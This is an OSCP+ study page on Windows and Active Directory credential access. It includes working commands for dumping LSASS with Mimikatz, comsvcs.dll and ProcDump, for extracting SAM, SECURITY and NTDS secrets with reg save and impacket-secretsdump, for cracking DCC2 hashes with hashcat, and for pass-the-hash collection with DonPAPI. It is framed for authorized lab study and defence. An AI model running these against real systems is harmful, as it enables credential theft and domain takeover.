Windows and Domain Credential Access
← Stage index | Domain mapping | Credential handling | AD cheatsheet | Strategy map | Study methods: Recover and use authentication material; Gain a more useful domain identity
Prerequisite: an already authorized host/session and the exact privilege required by the selected source. Do not collect everything by default.
Decision:
CURRENT IDENTITY → SOURCE → REQUIRED PRIVILEGE/PROTECTION → ARTIFACT TYPE → COMPATIBLE NEXT USE.Exit: classify each result as password, NT hash, AES key, ticket, DPAPI material, cached verifier or local/domain secret; protect it in private records and re-enumerate only through compatible authentication.
1. Select the source before the tool
| Source | What it can contain | Typical prerequisite | Result is not automatically |
|---|---|---|---|
| Current ticket cache | TGTs and service tickets for the current logon session | Current user; other LUIDs normally require elevation | A password, NT hash or authorization to every service |
| LSASS memory/dump | Logon-session NTLM/AES/DPAPI material and tickets, depending on OS/protection/logon type | Administrator/SYSTEM, suitable debug/dump access, compatible architecture | Guaranteed cleartext or every user's reusable secret |
| SAM + SYSTEM | Local account password hashes | Administrator/SYSTEM/backup-capable access to matched hives | Domain-account material |
| SECURITY + SYSTEM | LSA secrets, service/machine secrets, cached domain verifiers | Administrator/SYSTEM/backup-capable access to matched hives | Directly passable cached-domain hashes |
| Credential Manager/DPAPI | Targeted saved credentials and protected application data | Suitable user/machine context plus master-key material | Plaintext merely because a blob/file is readable |
| NTDS + SYSTEM | Domain account hashes/keys from a DC database | DC-level file access and matched boot-key material | Ordinary member-server admin access |
| DRS replication | Selected domain-account secrets | Effective replication rights at the domain root | Local admin, DC service access or Domain Users membership |
2. Establish privilege and protection state
whoami /all
tasklist /fi "imagename eq lsass.exe"
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LsaCfgFlags
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v LsaCfgFlags
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard |
Select-Object SecurityServicesConfigured,SecurityServicesRunning,VirtualizationBasedSecurityStatus
Interpretation:
- membership in Administrators with a medium-integrity filtered token is not equivalent to an elevated process;
SeDebugPrivilegemust be present and usable for common live-process access;- a missing registry value is not definitive proof that a protection is disabled because defaults, policy and firmware state matter;
- LSA protection blocks untrusted code injection/process-memory access; Credential Guard isolates selected NTLM, Kerberos and saved-domain secrets with VBS;
- EDR/AV can block a tool or dump path without proving the underlying credential source is empty.
An access-denied or empty result disproves only that method in the current context.
3. Inspect tickets before invasive collection
klist
klist tgt
klist sessions
When privileges permit inspecting another logon session:
klist -li 0xLUID tickets
klist -li 0xLUID tgt
Rubeus.exe triage
Rubeus.exe dump /luid:0xLUID /nowrap
Do not use
klist purgeduring triage. It destroys cached tickets and can break the current session. Interpret exported tickets using Kerberos and identity transitions.
4. LSASS: live logon-session material
Direct Mimikatz access
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
sekurlsa::tickets
Decisive output is a named logon session with a typed value: NTLM, AES key, DPAPI key or ticket. A username with Password : (null) is not a failed tool run when another useful field exists, and modern Windows commonly does not retain reusable cleartext.
Dump first, parse offline
Built-in comsvcs.dll method from an elevated command prompt:
for /f "tokens=2" %A in ('tasklist ^| findstr /i lsass.exe') do rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump %A C:\Windows\Temp\lsass.dmp full
Sysinternals ProcDump alternative:
procdump64.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass.dmp
Parse with a compatible Mimikatz build:
mimikatz.exe
sekurlsa::minidump C:\Path\To\lsass.dmp
sekurlsa::logonpasswords
sekurlsa::tickets
Common failures:
- dump creation denied: token/protection/EDR or process-access prerequisite failed;
ProcessorArchitecturemismatch: use compatible x64/x86 tooling;- OS major-version mismatch: parse with a compatible build/environment;
- dump succeeds but secrets are absent: logon type, sign-out/reboot, Credential Guard and provider behavior affect contents.
LSASS dumps are sensitive and noisy. Hash the evidence if needed, transfer through the established route, store it privately and remove the target copy after the authorized objective.
5. SAM and SYSTEM: local identities
reg save HKLM\SAM C:\Windows\Temp\SAM.hive /y
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive /y
impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCAL
Mimikatz alternative from a suitable elevated context:
privilege::debug
token::elevate
lsadump::sam
Interpret a typical account row as:
LOCAL_USER:RID:LM_HASH:NT_HASH:::
The NT hash is local-account material. Its reuse depends on the same local password existing elsewhere, account state, remote UAC restrictions, service support and host authorization. Return it to the credential-classification workflow; do not call it a domain credential.
6. SECURITY and SYSTEM: LSA secrets and cached domain verifiers
reg save HKLM\SECURITY C:\Windows\Temp\SECURITY.hive /y
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive /y
impacket-secretsdump -security SECURITY.hive -system SYSTEM.hive LOCAL
Mimikatz alternative:
privilege::debug
token::elevate
lsadump::secrets
lsadump::cache
Potential categories:
$MACHINE.ACC: member computer's domain-account secret/key material;- service/autologon secrets: usefulness depends on whether the service/account remains active;
NL$1-style cached logon data: DCC2/MSCache v2 verifier material.
DCC2 is for offline guessing, not Pass-the-Hash:
hashcat -m 2100 dcc2.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
Verify the exact format with the installed Hashcat examples before cracking.
7. Credential Manager and DPAPI
cmdkey /list
vaultcmd /list
vaultcmd /listcreds:"Windows Credentials" /all
Get-ChildItem "$env:APPDATA\Microsoft\Credentials" -Force -ErrorAction SilentlyContinue
Get-ChildItem "$env:LOCALAPPDATA\Microsoft\Credentials" -Force -ErrorAction SilentlyContinue
Get-ChildItem "$env:APPDATA\Microsoft\Protect" -Force -Recurse -ErrorAction SilentlyContinue
For each entry record target, type, username, persistence/context and whether a compatible application can ask Windows to use it. A listed credential is not necessarily exportable plaintext.
DPAPI reasoning:
PROTECTED BLOB
-> MASTER-KEY GUID
-> USER OR MACHINE PROTECT SCOPE
-> MASTER-KEY DECRYPTION MATERIAL
-> APPLICATION-SPECIFIC DECODING
Possible decryption material includes the already logged-on user context, the user's password/NT hash, machine context or a domain DPAPI backup key. Prefer using the authorized existing context rather than copying unrelated protected data. One blob without its master key/context is incomplete.
8. NTDS and replication paths
Offline NTDS from an already controlled DC
An offline parse needs a matched NTDS.dit and SYSTEM hive:
impacket-secretsdump -ntds NTDS.dit -system SYSTEM.hive LOCAL
Obtaining locked DC database files normally requires DC-level privilege and a snapshot/backup-aware method. Ordinary local administrator on a member server does not provide this material.
Shadow-copy boundary: inspect before creating anything
From an already controlled Windows Server/DC context, first determine whether a usable snapshot already exists and whether the current token has the required backup/administrative rights:
whoami /priv
vssadmin list shadows
diskshadow
At the DISKSHADOW> prompt:
list shadows all
exit
Interpret: an existing shadow proves only a snapshot object. It does not prove the current identity can read
NTDS.dit, that the copy is current, or that a matching SYSTEM hive has been acquired.DiskShadowis a Windows Server utility; absence on a workstation is a platform result, not proof that VSS does not exist.
Creating, exposing or deleting a shadow changes host state and normally requires elevated backup/administrator context. Do not offer those actions until the selected procedure records the exact volume, matched NTDS/SYSTEM acquisition, destination, verification and cleanup. The state-machine gap is tracked as RW08; listing is safe discovery, not credential acquisition.
Remote collection
impacket-secretsdump -dc-ip DC_IP 'DOMAIN/USER:PASSWORD@DC_HOST'
impacket-secretsdump -hashes :NT_HASH -dc-ip DC_IP 'DOMAIN/USER@DC_HOST'
This broad form can invoke several remote collection paths and is high impact. Use it only when the lab objective and privileges justify those sources. For replication rights and a bounded one-user request, use DCSync.
Credential routing

9. Classify before choosing the transition
| Output | Type | Immediate compatible possibilities | Not valid as |
|---|---|---|---|
| Cleartext password | Reusable secret | Password authentication, key derivation, DPAPI where applicable | Proof of authorization |
| NT hash | NTLM key | Offline crack; PTH where NTLM/service policy allows; Kerberos RC4 transition where supported | Net-NTLM response or DCC2 |
| AES128/AES256 key | Kerberos long-term key | Request Kerberos material using compatible tooling | Direct NTLM authentication |
.kirbi / ccache | Kerberos ticket container | Use while valid for its client/realm/SPN scope | Password/hash |
| DCC2/MSCache v2 | Offline verifier | Offline cracking | PTH |
| DPAPI key/blob | Protected-data material | Decrypt only with matching context/keys | General logon credential |
| Machine-account key | Computer identity | Map the computer account's rights and Kerberos/NTLM paths | Human/domain-admin identity |
Net-NTLMv2 relay is a live authentication path, not hash reuse
A captured Net-NTLMv2 response is suitable for offline recovery, but cannot be passed as an NT hash. A relay path instead needs a fresh inbound NTLM authentication event, a different reachable target that accepts the relayed protocol, target protections that permit the exchange, and useful authorization for the relayed identity.
For an explicitly selected SMB destination, inspect signing behavior before considering it a relay receiver:
nmap -p 445 --script smb2-security-mode TARGET
Interpret: signing required closes the ordinary SMB-to-SMB relay receiver path. Signing enabled but not required is only one prerequisite; it does not supply an authentication source, bypass EPA/channel binding on another protocol, or grant the relayed identity useful rights.
The current OSCP+ exam guide prohibits poisoning/spoofing. Do not use Responder-style name-resolution poisoning in the exam workflow. A direct, already-existing authentication source still needs a separately reviewed, scope-compliant relay procedure and an action-specific verification; the incomplete procedure is tracked as RW09.
Every newly usable identity returns to Block 10 before movement:
VERIFY MATERIAL -> AUTHENTICATE SAFELY -> CONFIRM IDENTITY
-> MAP GROUPS/RIGHTS/SHARES/HOSTS/ROUTES
10. Failure router
| Symptom | Interpretation | Next action |
|---|---|---|
privilege::debug fails | Token is not elevated or privilege is unavailable | Verify integrity/privileges; use another authorized source |
| LSASS open/dump denied | PPL/Credential Guard/EDR/token limitation | Confirm protection state; do not infer no credentials |
| Dump parser architecture/version error | Tool/dump incompatibility | Match architecture and compatible OS/tool build |
Password : (null) | Provider did not retain cleartext | Inspect typed hashes/keys/tickets; do not force a cleartext assumption |
| SAM parse boot-key error | SYSTEM/SAM mismatch or damaged export | Reacquire matched hives from the same state |
| SECURITY output shows cached domain values only | Offline verifiers, not reusable NT hashes | Use the correct offline format |
| Credential Manager lists target but no secret | Reference is context/application-bound | Test through the owning authorized context or DPAPI chain |
| DPAPI blob cannot decrypt | Missing master key/protecting context/material | Map blob → GUID → protect scope → key |
Remote secretsdump denied | Remote admin/registry/replication prerequisite absent | Stop broad retries; determine which source/right was actually expected |
| DRS request denied | Effective domain-root replication rights absent | Validate the exact ACEs; local admin is irrelevant |
Tooling for this section
| Tool | Choose it when | Requirements | Baseline | Decisive output | Failure cue |
|---|---|---|---|---|---|
klist | Current Windows ticket inventory | Windows logon session; elevation for some LUIDs | klist | Client, server/SPN, validity and cache | Empty cache or inaccessible LUID |
| Mimikatz | Source/rights justify live or offline credential parsing | Trusted compatible build; appropriate privilege | privilege::debug, selected sekurlsa/lsadump command | Typed secret tied to identity/logon | PPL/CG/EDR, architecture or token failure |
ProcDump/comsvcs.dll | Authorized LSASS dump for offline analysis | Elevated process access; writable destination | Section 4 | Complete dump file | Access denied/blocking/partial dump |
reg save | Matched local registry hives | Administrator/SYSTEM or backup-capable context | Sections 5–6 | Successful hive exports | Access denied or mismatched point-in-time files |
impacket-secretsdump | Parse matched hives or use a validated remote/DRS path | Installed version, selected source and its privilege | -sam/-system LOCAL or narrow DRS request | Correctly typed rows | Boot-key mismatch, remote-right or DRS failure |
cmdkey/vaultcmd | Locate saved credential targets/types | Current user context | cmdkey /list | Target/type/user clues | Listed entry without exportable secret |
| Hashcat | Offline guessing of a classified verifier | Correct mode, candidate list/rule and compute | -m 2100 for DCC2, -m 1000 for NTLM | Recovered candidate verified against artifact | Token-length/format/mode mismatch |
DonPAPI — remote DPAPI/application-secret collection with host rights
Use after confirming the accepted identity has the required administrative/remote access on this Windows host. SMB, remote operations and the available masterkey material affect what can be decrypted; ordinary domain-user authentication is not enough.
# One named host and one relevant collector, not automatic whole-domain targeting
donpapi collect -d DOMAIN -u USER -p 'PASSWORD' -t TARGET -c CredMan
# Distinct authentication material: the tool expects LMHASH:NTHASH form
donpapi collect -d DOMAIN -u USER \
-H 'aad3b435b51404eeaad3b435b51404ee:HASH' -t TARGET -c CredMan
Read: distinguish acquired encrypted artifacts from decrypted credentials and identify each artifact's profile/application. Remote Registry/SAM/LSA operations can require service-control rights and alter service state. Bring the relevant password/hash/masterkey/PVK when needed; --fetch-pvk is not a default action and requires additional domain rights. An empty result can be a collection or decryption failure. Validate a recovered identity before moving.
Sources: upstream 1.
Sources
- Supplied PEN-200, Chapter 23, especially pp758–767 and pp779–784.
- OffSec OSCP+ Body of Knowledge
- Microsoft Windows authentication credential processes
- Microsoft LSA protection
- Microsoft Credential Guard
- Mimikatz
sekurlsaandlsadump - Impacket
secretsdump - Microsoft PsTools/ProcDump
- Microsoft DiskShadow and
list shadows - Nmap
smb2-security-mode - getSH Active Directory route, source snapshot
e1f62dd - Hexdump Active Directory module. The live module was still a TODO when checked; no credential-access procedure was imported from it.